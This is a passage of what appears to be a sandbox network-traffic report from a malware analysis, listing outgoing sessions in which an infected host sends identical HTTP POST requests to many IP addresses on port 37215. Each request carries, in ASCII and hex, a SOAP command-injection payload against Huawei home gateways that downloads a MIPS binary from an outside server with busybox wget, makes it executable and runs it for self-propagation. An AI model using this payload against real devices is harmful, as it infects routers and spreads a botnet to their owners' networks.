6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	36012	156.148.48.105	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.868233919 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	42964	134.250.14.201	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.869514942 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	49012	41.154.111.143	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.870841980 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	57912	41.172.7.4	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.872179031 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	57770	223.8.156.155	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.873491049 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	38120	196.251.27.28	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.874694109 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	45366	46.236.64.226	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.876055002 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	44956	197.238.9.115	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.877671003 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	43466	197.154.103.166	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.878688097 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	60684	197.99.235.91	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.880201101 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 30 31 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6b 78 20 2d 72 20 2f 63 62 72 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 2e 6b 78 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.23 -l /tmp/.kx -r /cbr.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	38970	196.82.234.162	37215

Timestamp	Bytes transferred	Direction	Data
Mar 6, 2025 21:38:03.881454945 CET	833	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 440 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 